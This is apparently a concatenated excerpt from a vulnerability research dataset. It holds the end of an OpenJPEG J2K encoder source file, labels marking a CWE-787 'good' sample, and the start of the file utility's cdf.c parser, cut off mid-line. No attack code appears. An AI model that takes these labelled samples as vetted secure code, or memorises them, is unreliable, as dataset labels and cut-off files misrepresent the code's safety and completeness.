++p_j2k->m_current_tile_number; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_end_compress(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); /* DEVELOPER CORNER, insert your custom procedures */ if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_eoc, p_manager)) { return OPJ_FALSE; } if (OPJ_IS_CINEMA(p_j2k->m_cp.rsiz)) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_updated_tlm, p_manager)) { return OPJ_FALSE; } } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_epc, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_end_encoding, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_destroy_header_memory, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_encoding_validation(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_build_encoder, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_encoding_validation, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom validation procedure */ if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_mct_validation, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_header_writing(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_init_info, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_soc, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_siz, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_cod, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_qcd, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_all_coc, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_all_qcc, p_manager)) { return OPJ_FALSE; } if (OPJ_IS_CINEMA(p_j2k->m_cp.rsiz)) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_tlm, p_manager)) { return OPJ_FALSE; } if (p_j2k->m_cp.rsiz == OPJ_PROFILE_CINEMA_4K) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_poc, p_manager)) { return OPJ_FALSE; } } } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_regions, p_manager)) { return OPJ_FALSE; } if (p_j2k->m_cp.comment != 00) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_com, p_manager)) { return OPJ_FALSE; } } /* DEVELOPER CORNER, insert your custom procedures */ if (p_j2k->m_cp.rsiz & OPJ_EXTENSION_MCT) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_mct_data_group, p_manager)) { return OPJ_FALSE; } } /* End of Developer Corner */ if (p_j2k->cstr_index) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_get_end_header, p_manager)) { return OPJ_FALSE; } } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_create_tcd, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_update_rates, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_first_tile_part(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, opj_stream_private_t *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 l_nb_bytes_written = 0; OPJ_UINT32 l_current_nb_bytes_written; OPJ_BYTE * l_begin_data = 00; opj_tcd_t * l_tcd = 00; opj_cp_t * l_cp = 00; l_tcd = p_j2k->m_tcd; l_cp = &(p_j2k->m_cp); l_tcd->cur_pino = 0; /*Get number of tile parts*/ p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number = 0; /* INDEX >> */ /* << INDEX */ l_current_nb_bytes_written = 0; l_begin_data = p_data; if (! opj_j2k_write_sot(p_j2k, p_data, p_total_data_size, &l_current_nb_bytes_written, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; if (!OPJ_IS_CINEMA(l_cp->rsiz)) { #if 0 for (compno = 1; compno < p_j2k->m_private_image->numcomps; compno++) { l_current_nb_bytes_written = 0; opj_j2k_write_coc_in_memory(p_j2k, compno, p_data, &l_current_nb_bytes_written, p_manager); l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_current_nb_bytes_written = 0; opj_j2k_write_qcc_in_memory(p_j2k, compno, p_data, &l_current_nb_bytes_written, p_manager); l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; } #endif if (l_cp->tcps[p_j2k->m_current_tile_number].numpocs) { l_current_nb_bytes_written = 0; opj_j2k_write_poc_in_memory(p_j2k, p_data, &l_current_nb_bytes_written, p_manager); l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; } } l_current_nb_bytes_written = 0; if (! opj_j2k_write_sod(p_j2k, l_tcd, p_data, &l_current_nb_bytes_written, p_total_data_size, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; * p_data_written = l_nb_bytes_written; /* Writing Psot in SOT marker */ opj_write_bytes(l_begin_data + 6, l_nb_bytes_written, 4); /* PSOT */ if (OPJ_IS_CINEMA(l_cp->rsiz)) { opj_j2k_update_tlm(p_j2k, l_nb_bytes_written); } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_all_tile_parts(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, opj_stream_private_t *p_stream, struct opj_event_mgr * p_manager ) { OPJ_UINT32 tilepartno = 0; OPJ_UINT32 l_nb_bytes_written = 0; OPJ_UINT32 l_current_nb_bytes_written; OPJ_UINT32 l_part_tile_size; OPJ_UINT32 tot_num_tp; OPJ_UINT32 pino; OPJ_BYTE * l_begin_data; opj_tcp_t *l_tcp = 00; opj_tcd_t * l_tcd = 00; opj_cp_t * l_cp = 00; l_tcd = p_j2k->m_tcd; l_cp = &(p_j2k->m_cp); l_tcp = l_cp->tcps + p_j2k->m_current_tile_number; /*Get number of tile parts*/ tot_num_tp = opj_j2k_get_num_tp(l_cp, 0, p_j2k->m_current_tile_number); /* start writing remaining tile parts */ ++p_j2k->m_specific_param.m_encoder.m_current_tile_part_number; for (tilepartno = 1; tilepartno < tot_num_tp ; ++tilepartno) { p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number = tilepartno; l_current_nb_bytes_written = 0; l_part_tile_size = 0; l_begin_data = p_data; if (! opj_j2k_write_sot(p_j2k, p_data, p_total_data_size, &l_current_nb_bytes_written, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_part_tile_size += l_current_nb_bytes_written; l_current_nb_bytes_written = 0; if (! opj_j2k_write_sod(p_j2k, l_tcd, p_data, &l_current_nb_bytes_written, p_total_data_size, p_stream, p_manager)) { return OPJ_FALSE; } p_data += l_current_nb_bytes_written; l_nb_bytes_written += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_part_tile_size += l_current_nb_bytes_written; /* Writing Psot in SOT marker */ opj_write_bytes(l_begin_data + 6, l_part_tile_size, 4); /* PSOT */ if (OPJ_IS_CINEMA(l_cp->rsiz)) { opj_j2k_update_tlm(p_j2k, l_part_tile_size); } ++p_j2k->m_specific_param.m_encoder.m_current_tile_part_number; } for (pino = 1; pino <= l_tcp->numpocs; ++pino) { l_tcd->cur_pino = pino; /*Get number of tile parts*/ tot_num_tp = opj_j2k_get_num_tp(l_cp, pino, p_j2k->m_current_tile_number); for (tilepartno = 0; tilepartno < tot_num_tp ; ++tilepartno) { p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number = tilepartno; l_current_nb_bytes_written = 0; l_part_tile_size = 0; l_begin_data = p_data; if (! opj_j2k_write_sot(p_j2k, p_data, p_total_data_size, &l_current_nb_bytes_written, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_part_tile_size += l_current_nb_bytes_written; l_current_nb_bytes_written = 0; if (! opj_j2k_write_sod(p_j2k, l_tcd, p_data, &l_current_nb_bytes_written, p_total_data_size, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_part_tile_size += l_current_nb_bytes_written; /* Writing Psot in SOT marker */ opj_write_bytes(l_begin_data + 6, l_part_tile_size, 4); /* PSOT */ if (OPJ_IS_CINEMA(l_cp->rsiz)) { opj_j2k_update_tlm(p_j2k, l_part_tile_size); } ++p_j2k->m_specific_param.m_encoder.m_current_tile_part_number; } } *p_data_written = l_nb_bytes_written; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_updated_tlm(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 l_tlm_size; OPJ_OFF_T l_tlm_position, l_current_position; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tlm_size = 5 * p_j2k->m_specific_param.m_encoder.m_total_tile_parts; l_tlm_position = 6 + p_j2k->m_specific_param.m_encoder.m_tlm_start; l_current_position = opj_stream_tell(p_stream); if (! opj_stream_seek(p_stream, l_tlm_position, p_manager)) { return OPJ_FALSE; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer, l_tlm_size, p_manager) != l_tlm_size) { return OPJ_FALSE; } if (! opj_stream_seek(p_stream, l_current_position, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_end_encoding(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); opj_tcd_destroy(p_j2k->m_tcd); p_j2k->m_tcd = 00; if (p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer) { opj_free(p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer); p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer = 0; p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current = 0; } if (p_j2k->m_specific_param.m_encoder.m_encoded_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_encoded_tile_data); p_j2k->m_specific_param.m_encoder.m_encoded_tile_data = 0; } p_j2k->m_specific_param.m_encoder.m_encoded_tile_size = 0; return OPJ_TRUE; } /** * Destroys the memory associated with the decoding of headers. */ static OPJ_BOOL opj_j2k_destroy_header_memory(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); if (p_j2k->m_specific_param.m_encoder.m_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = 0; } p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_init_info(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { opj_codestream_info_t * l_cstr_info = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); (void)l_cstr_info; OPJ_UNUSED(p_stream); /* TODO mergeV2: check this part which use cstr_info */ /*l_cstr_info = p_j2k->cstr_info; if (l_cstr_info) { OPJ_UINT32 compno; l_cstr_info->tile = (opj_tile_info_t *) opj_malloc(p_j2k->m_cp.tw * p_j2k->m_cp.th * sizeof(opj_tile_info_t)); l_cstr_info->image_w = p_j2k->m_image->x1 - p_j2k->m_image->x0; l_cstr_info->image_h = p_j2k->m_image->y1 - p_j2k->m_image->y0; l_cstr_info->prog = (&p_j2k->m_cp.tcps[0])->prg; l_cstr_info->tw = p_j2k->m_cp.tw; l_cstr_info->th = p_j2k->m_cp.th; l_cstr_info->tile_x = p_j2k->m_cp.tdx;*/ /* new version parser */ /*l_cstr_info->tile_y = p_j2k->m_cp.tdy;*/ /* new version parser */ /*l_cstr_info->tile_Ox = p_j2k->m_cp.tx0;*/ /* new version parser */ /*l_cstr_info->tile_Oy = p_j2k->m_cp.ty0;*/ /* new version parser */ /*l_cstr_info->numcomps = p_j2k->m_image->numcomps; l_cstr_info->numlayers = (&p_j2k->m_cp.tcps[0])->numlayers; l_cstr_info->numdecompos = (OPJ_INT32*) opj_malloc(p_j2k->m_image->numcomps * sizeof(OPJ_INT32)); for (compno=0; compno < p_j2k->m_image->numcomps; compno++) { l_cstr_info->numdecompos[compno] = (&p_j2k->m_cp.tcps[0])->tccps->numresolutions - 1; } l_cstr_info->D_max = 0.0; */ /* ADD Marcela */ /*l_cstr_info->main_head_start = opj_stream_tell(p_stream);*/ /* position of SOC */ /*l_cstr_info->maxmarknum = 100; l_cstr_info->marker = (opj_marker_info_t *) opj_malloc(l_cstr_info->maxmarknum * sizeof(opj_marker_info_t)); l_cstr_info->marknum = 0; }*/ return opj_j2k_calculate_tp(p_j2k, &(p_j2k->m_cp), &p_j2k->m_specific_param.m_encoder.m_total_tile_parts, p_j2k->m_private_image, p_manager); } /** * Creates a tile-coder decoder. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_create_tcd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_stream); p_j2k->m_tcd = opj_tcd_create(OPJ_FALSE); if (! p_j2k->m_tcd) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to create Tile Coder\n"); return OPJ_FALSE; } if (!opj_tcd_init(p_j2k->m_tcd, p_j2k->m_private_image, &p_j2k->m_cp, p_j2k->m_tp)) { opj_tcd_destroy(p_j2k->m_tcd); p_j2k->m_tcd = 00; return OPJ_FALSE; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_write_tile(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_index, OPJ_BYTE * p_data, OPJ_UINT32 p_data_size, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { if (! opj_j2k_pre_write_tile(p_j2k, p_tile_index, p_stream, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error while opj_j2k_pre_write_tile with tile index = %d\n", p_tile_index); return OPJ_FALSE; } else { OPJ_UINT32 j; /* Allocate data */ for (j = 0; j < p_j2k->m_tcd->image->numcomps; ++j) { opj_tcd_tilecomp_t* l_tilec = p_j2k->m_tcd->tcd_image->tiles->comps + j; if (! opj_alloc_tile_component_data(l_tilec)) { opj_event_msg(p_manager, EVT_ERROR, "Error allocating tile component data."); return OPJ_FALSE; } } /* now copy data into the tile component */ if (! opj_tcd_copy_tile_data(p_j2k->m_tcd, p_data, p_data_size)) { opj_event_msg(p_manager, EVT_ERROR, "Size mismatch between tile data and sent data."); return OPJ_FALSE; } if (! opj_j2k_post_write_tile(p_j2k, p_stream, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error while opj_j2k_post_write_tile with tile index = %d\n", p_tile_index); return OPJ_FALSE; } } return OPJ_TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_2776_0
crossvul-cpp_data_good_1196_0
/*- * Copyright (c) 2008 Christos Zoulas * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /* * Parse Composite Document Files, the format used in Microsoft Office * document files before they switched to zipped XML. * Info from: http://sc.openoffice.org/compdocfileformat.pdf * * N.B. This is the "Composite Document File" format, and not the * "Compound Document Format", nor the "Channel Definition Format". */ #include "file.h" #ifndef lint FILE_RCSID("@(#)$File: cdf.c,v 1.116 2019/08/26 14:31:39 christos Exp $") #endif #include <assert.h> #ifdef CDF_DEBUG #include <err.h> #endif #include <stdlib.h> #include <unistd.h> #include <string.h> #include <time.h> #include <ctype.h> #include <limits.h> #ifndef EFTYPE #define EFTYPE EINVAL #endif #ifndef SIZE_T_MAX #define SIZE_T_MAX CAST(size_t, ~0ULL) #endif #include "cdf.h" #ifdef CDF_DEBUG #define DPRINTF(a) printf a, fflush(stdout) #else #define DPRINTF(a) #endif static union { char s[4]; uint32_t u; } cdf_bo; #define NEED_SWAP (cdf_bo.u == CAST(uint32_t, 0x01020304)) #define CDF_TOLE8(x) \ (CAST(uint64_t, NEED_SWAP ? _cdf_tole8(x) : CAST(uint64_t, x))) #define CDF_TOLE4(x) \ (CAST(uint32_t, NEED_SWAP ? _cdf_tole4(x) : CAST(uint32_t, x))) #define CDF_TOLE2(x) \ (CAST(uint16_t, NEED_SWAP ? _cdf_tole2(x) : CAST(uint16_t, x))) #define CDF_TOLE(x) (/*CONSTCOND*/sizeof(x) == 2 ? \ CDF_TOLE2(CAST(uint16_t, x)) : \ (/*CONSTCOND*/sizeof(x) == 4 ? \ CDF_TOLE4(CAST(uint32_t, x)) : \ CDF_TOLE8(CAST(uint64_t, x)))) #define CDF_GETUINT32(x, y) cdf_getuint32(x, y) #define CDF_MALLOC(n) cdf_malloc(__FILE__, __LINE__, (n)) #define CDF_REALLOC(p, n) cdf_realloc(__FILE__, __LINE__, (p), (n)) #define CDF_CALLOC(n, u) cdf_calloc(__FILE__, __LINE__, (n), (u)) /*ARGSUSED*/ static void * cdf_malloc(const char *file __attribute__((__unused__)), size_t line __attribute__((__unused__)), size_t n) { DPRINTF(("%s,%" SIZE_T_FORMAT "u: %s %" SIZE_T_FORMAT "u\n", file, line, __func__, n)); return malloc(n); } /*ARGSUSED*/ static void * cdf_realloc(const char *file __attribute__((__unused__)), size_t line __attribute__((__unused__)), void *p, size_t n) { DPRINTF(("%s,%" SIZE_T_FORMAT "u: %s %" SIZE_T_FORMAT "u\n", file, line, __func__, n)); return realloc(p, n); } /*ARGSUSED*/ static void * cdf_calloc(const char *file __attribute__((__unused__)), size_t line __attribute__((__unused__)), size_t n, size_t u) { DPRINTF(("%s,%" SIZE_T_FORMAT "u: %s %" SIZE_T_FORMAT "u %" SIZE_T_FORMAT "u\n", file, line, __func__, n, u)); return calloc(n, u); } /* * swap a short */ static uint16_t _cdf_tole2(uint16_t sv) { uint16_t rv; uint8_t *s = RCAST(uint8_t *, RCAST(void *, &sv)); uint8_t *d = RCAST(uint8_t *, RCAST(void *, &rv)); d[0] = s[1]; d[1] = s[0]; return rv; } /* * swap an int */ static uint32_t _cdf_tole4(uint32_t sv) { uint32_t rv; uint8_t *s = RCAST(uint8_t *, RCAST(void *, &sv)); uint8_t *d = RCAST(uint8_t *, RCAST(void *, &rv)); d[0] = s[3]; d[1] = s[2]; d[2] = s[1]; d[3] = s[0]; return rv; } /* * swap a quad */ static uint64_t _cdf_tole8(uint64_t sv) { uint64_t rv; uint8_t *s = RCAST(uint8_t *, RCAST(void *, &sv)); uint8_t *d = RCAST(uint8_t *, RCAST(void *, &rv)); d[0] = s[7]; d[1] = s[6]; d[2] = s[5]; d[3] = s[4]; d[4] = s[3]; d[5] = s[2]; d[6] = s[1]; d[7] = s[0]; return rv; } /* * grab a uint32_t from a possibly unaligned address, and return it in * the native host order. */ static uint32_t cdf_getuint32(const uint8_t *p, size_t offs) { uint32_t rv; (void)memcpy(&rv, p + offs * sizeof(uint32_t), sizeof(rv)); return CDF_TOLE4(rv); } #define CDF_UNPACK(a) \ (void)memcpy(&(a), &buf[len], sizeof(a)), len += sizeof(a) #define CDF_UNPACKA(a) \ (void)memcpy((a), &buf[len], sizeof(a)), len += sizeof(a) uint16_t cdf_tole2(uint16_t sv) { return CDF_TOLE2(sv); } uint32_t cdf_tole4(uint32_t sv) { return CDF_TOLE4(sv); } uint64_t cdf_tole8(uint64_t sv) { return CDF_TOLE8(sv); } void cdf_swap_header(cdf_header_t *h) { size_t i; h->h_magic = CDF_TOLE8(h->h_magic); h->h_uuid[0] = CDF_TOLE8(h->h_uuid[0]); h->h_uuid[1] = CDF_TOLE8(h->h_uuid[1]); h->h_revision = CDF_TOLE2(h->h_revision); h->h_version = CDF_TOLE2(h->h_version); h->h_byte_order = CDF_TOLE2(h->h_byte_order); h->h_sec_size_p2 = CDF_TOLE2(h->h_sec_size_p2); h->h_short_sec_size_p2 = CDF_TOLE2(h->h_short_sec_size_p2); h->h_num_sectors_in_sat = CDF_TOLE4(h->h_num_sectors_in_sat); h->h_secid_first_directory = CDF_TOLE4(h->h_secid_first_directory); h->h_min_size_standard_stream = CDF_TOLE4(h->h_min_size_standard_stream); h->h_secid_first_sector_in_short_sat = CDF_TOLE4(CAST(uint32_t, h->h_secid_first_sector_in_short_sat)); h->h_num_sectors_in_short_sat = CDF_TOLE4(h->h_num_sectors_in_short_sat); h->h_secid_first_sector_in_master_sat = CDF_TOLE4(CAST(uint32_t, h->h_secid_first_sector_in_master_sat)); h->h_num_sectors_in_master_sat = CDF_TOLE4(h->h_num_sectors_in_master_sat); for (i = 0; i < __arraycount(h->h_master_sat); i++) { h->h_master_sat[i] = CDF_TOLE4(CAST(uint32_t, h->h_master_sat[i])); } } void cdf_unpack_header(cdf_header_t *h, char *buf) { size_t i; size_t len = 0; CDF_UNPACK(h->h_magic); CDF_UNPACKA(h->h_uuid); CDF_UNPACK(h->h_revision); CDF_UNPACK(h->h_version); CDF_UNPACK(h->h_byte_order); CDF_UNPACK(h->h_sec_size_p2); CDF_UNPACK(h->h_short_sec_size_p2); CDF_UNPACKA(h->h_unused0); CDF_UNPACK(h->h_num_sectors_in_sat); CDF_UNPACK(h->h_secid_first_directory); CDF_UNPACKA(h->h_unused1); CDF_UNPACK(h->h_min_size_standard_stream); CDF_UNPACK(h->h_secid_first_sector_in_short_sat); CDF_UNPACK(h->h_num_sectors_in_short_sat); CDF_UNPACK(h->h_secid_first_sector_in_master_sat); CDF_UNPACK(h->h_num_sectors_in_master_sat); for (i = 0; i < __arraycount(h->h_master_sat); i++) CDF_UNPACK(h->h_master_sat[i]); } void cdf_swap_dir(cdf_directory_t *d) { d->d_namelen = CDF_TOLE2(d->d_namelen); d->d_left_child = CDF_TOLE4(CAST(uint32_t, d->d_left_child)); d->d_right_child = CDF_TOLE4(CAST(uint32_t, d->d_right_child)); d->d_storage = CDF_TOLE4(CAST(uint32_t, d->d_storage)); d->d_storage_uuid[0] = CDF_TOLE8(d->d_storage_uuid[0]); d->d_storage_uuid[1] = CDF_TOLE8(d->d_storage_uuid[1]); d->d_flags = CDF_TOLE4(d->d_flags); d->d_created = CDF_TOLE8(CAST(uint64_t, d->d_created)); d->d_modified = CDF_TOLE8(CAST(uint64_t, d->d_modified)); d->d_stream_first_sector = CDF_TOLE4( CAST(uint32_t, d->d_stream_first_sector)); d->d_size = CDF_TOLE4(d->d_size); } void cdf_swap_class(cdf_classid_t *d) { d->cl_dword = CDF_TOLE4(d->cl_dword); d->cl_word[0] = CDF_TOLE2(d->cl_word[0]); d->cl_word[1] = CDF_TOLE2(d->cl_word[1]); } void cdf_unpack_dir(cdf_directory_t *d, char *buf) { size_t len = 0; CDF_UNPACKA(d->d_name); CDF_UNPACK(d->d_namelen); CDF_UNPACK(d->d_type); CDF_UNPACK(d->d_color); CDF_UNPACK(d->d_left_child); CDF_UNPACK(d->d_right_child); CDF_UNPACK(d->d_storage); CDF_UNPACKA(d->d_storage_uuid); CDF_UNPACK(d->d_flags); CDF_UNPACK(d->d_created); CDF_UNPACK(d->d_modified); CDF_UNPACK(d->d_stream_first_sector); CDF_UNPACK(d->d_size); CDF_UNPACK(d->d_unused0); } int cdf_zero_stream(cdf_stream_t *scn) { scn->sst_len = 0; scn->sst_dirlen = 0; scn->sst_ss = 0; free(scn->sst_tab); scn->sst_tab = NULL; return -1; } static size_t cdf_check_stream(const cdf_stream_t *sst, const cdf_header_t *h) { size_t ss = sst->sst_dirlen < h->h_min_size_standard_stream ? CDF_SHORT_SEC_SIZE(h) : CDF_SEC_SIZE(h); assert(ss == sst->sst_ss); return sst->sst_ss; } static int cdf_check_stream_offset(const cdf_stream_t *sst, const cdf_header_t *h, const void *p, size_t tail, int line) { const char *b = RCAST(const char *, sst->sst_tab); const char *e = RCAST(const char *, p) + tail; size_t ss = cdf_check_stream(sst, h); /*LINTED*/(void)&line; if (e >= b && CAST(size_t, e - b) <= ss * sst->sst_len) return 0; DPRINTF(("%d: offset begin %p < end %p || %" SIZE_T_FORMAT "u" " > %" SIZE_T_FORMAT "u [%" SIZE_T_FORMAT "u %" SIZE_T_FORMAT "u]\n", line, b, e, (size_t)(e - b), ss * sst->sst_len, ss, sst->sst_len)); errno = EFTYPE; return -1; } static ssize_t cdf_read(const cdf_info_t *info, off_t off, void *buf, size_t len) { size_t siz = CAST(size_t, off + len); if (CAST(off_t, off + len) != CAST(off_t, siz)) goto out; if (info->i_buf != NULL && info->i_len >= siz) { (void)memcpy(buf, &info->i_buf[off], len); return CAST(ssize_t, len); } if (info->i_fd == -1) goto out; if (pread(info->i_fd, buf, len, off) != CAST(ssize_t, len)) return -1; return CAST(ssize_t, len); out: errno = EINVAL; return -1; } int cdf_read_header(const cdf_info_t *info, cdf_header_t *h) { char buf[512]; (void)memcpy(cdf_bo.s, "\01\02\03\04", 4); if (cdf_read(info, CAST(off_t, 0), buf, sizeof(buf)) == -1) return -1; cdf_unpack_header(h, buf); cdf_swap_header(h); if (h->h_magic != CDF_MAGIC) { DPRINTF(("Bad magic %#" INT64_T_FORMAT "x != %#" INT64_T_FORMAT "x\n", (unsigned long long)h->h_magic, (unsigned long long)CDF_MAGIC)); goto out; } if (h->h_sec_size_p2 > 20) { DPRINTF(("Bad sector size %hu\n", h->h_sec_size_p2)); goto out; } if (h->h_short_sec_size_p2 > 20) { DPRINTF(("Bad short sector size %hu\n", h->h_short_sec_size_p2)); goto out; } return 0; out: errno = EFTYPE; return -1; } ssize_t cdf_read_sector(const cdf_info_t *info, void *buf, size_t offs, size_t len, const cdf_header_t *h, cdf_secid_t id) { size_t ss = CDF_SEC_SIZE(h); size_t pos; if (SIZE_T_MAX / ss < CAST(size_t, id)) return -1; pos = CDF_SEC_POS(h, id); assert(ss == len); return cdf_read(info, CAST(off_t, pos), RCAST(char *, buf) + offs, len); } ssize_t cdf_read_short_sector(const cdf_stream_t *sst, void *buf, size_t offs, size_t len, const cdf_header_t *h, cdf_secid_t id) { size_t ss = CDF_SHORT_SEC_SIZE(h); size_t pos; if (SIZE_T_MAX / ss < CAST(size_t, id)) return -1; pos = CDF_SHORT_SEC_POS(h, id); assert(ss == len); if (pos + len > 